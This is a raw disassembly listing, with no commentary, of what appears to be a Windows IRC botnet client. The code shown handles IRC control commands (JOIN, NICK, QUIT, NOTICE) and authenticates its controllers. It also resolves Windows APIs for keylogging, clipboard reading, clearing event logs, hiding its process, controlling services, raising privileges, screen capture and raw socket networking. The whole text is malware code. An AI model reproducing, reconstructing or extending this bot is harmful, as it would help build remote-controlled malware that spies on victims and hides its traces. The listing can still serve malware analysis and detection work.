		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2690F63h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	dword_4CB6DC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E594[eax]
		call	near ptr 26B0861h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E594[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E380[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DB8
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429D90


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D6C
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D40


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4AC
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D24
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A410
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D00
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CDC
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CB8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C94
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		call	near ptr 2690F63h
		nop


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C48


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D114 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB4FC
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C44 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC4
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429154


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429158
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B70
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B50
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B30
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB4F4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB694
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB694
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		nop
		call	near ptr 2690F63h

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB504, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB534, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		cmp	dword_4CB6F0, ebx
		mov	dword_4CB54C, eax
		jz	short loc_409C11
		cmp	dword_4CB664, ebx
		jz	short loc_409C11
		cmp	dword_4CB648, ebx
		jz	short loc_409C11
		cmp	dword_4CB558, ebx
		jz	short loc_409C11
		cmp	dword_4CB534, ebx
		jz	short loc_409C11
		cmp	dword_4CB5AC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6A4, ebx
		jz	short loc_409C11
		cmp	dword_4CB700, ebx
		jz	short loc_409C11
		cmp	dword_4CB564, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB704, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB67C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB708, eax
		mov	dword_4CB704, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0C66h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5E4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		cmp	dword_4CB6A0, ebx
		mov	dword_4CB584, eax
		jz	short loc_409D01
		cmp	dword_4CB650, ebx
		jz	short loc_409D01
		cmp	dword_4CB5E4, ebx
		jz	short loc_409D01
		cmp	dword_4CB6F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB614, ebx
		jz	short loc_409D01
		cmp	dword_4CB634, ebx
		jz	short loc_409D01
		cmp	dword_4CB698, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB70C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5E0, eax
		call	esi
		cmp	dword_4CB610, ebx
		mov	dword_4CB5C8, eax
		jz	short loc_409D68
		cmp	dword_4CB518, ebx
		jz	short loc_409D68
		cmp	dword_4CB5E0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB710, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB70C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		cmp	dword_4CB6B4, ebx
		mov	dword_4CB5D4, eax
		jz	short loc_409E1B
		cmp	dword_4CB5F8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB668, ebx
		jz	short loc_409E1B
		cmp	dword_4CB544, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5A8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB620, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB714, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		cmp	dword_4CB628, ebx
		mov	dword_4CB6B0, eax
		jz	short loc_409E60
		cmp	dword_4CB600, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB714, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB58C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB53C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB604, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB52C, eax
		jz	short loc_409F0E
		cmp	dword_4CB520, ebx
		jz	short loc_409F0E
		cmp	dword_4CB528, ebx
		jz	short loc_409F0E
		cmp	dword_4CB58C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB590, ebx
		jz	short loc_409F0E
		cmp	dword_4CB53C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB604, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB714, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB524, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB718, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB714, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB688, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB64C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB68C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB500, eax
		call	esi
		cmp	dword_4CB630, ebx
		mov	dword_4CB5A0, eax
		jz	short loc_40A017
		cmp	dword_4CB688, ebx
		jz	short loc_40A017
		cmp	dword_4CB690, ebx
		jz	short loc_40A017
		cmp	dword_4CB64C, ebx
		jz	short loc_40A017
		cmp	dword_4CB568, ebx
		jz	short loc_40A017
		cmp	dword_4CB514, ebx
		jz	short loc_40A017
		cmp	dword_4CB68C, ebx
		jz	short loc_40A017
		cmp	dword_4CB500, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		nop
		call	near ptr 26A08B1h
		mov	dword_4CB720, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB71C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5D8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB684, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB56C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		mov	dword_4CB61C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB62C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6C8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		cmp	dword_4CB5B4, ebx
		mov	dword_4CB6DC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB554, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5D8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB59C, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6C4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5EC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB684, ebx
		jz	loc_40A2E8
		cmp	dword_4CB644, ebx
		jz	loc_40A2E8
		cmp	dword_4CB640, ebx
		jz	loc_40A2E8
		cmp	dword_4CB574, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB65C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB61C, ebx
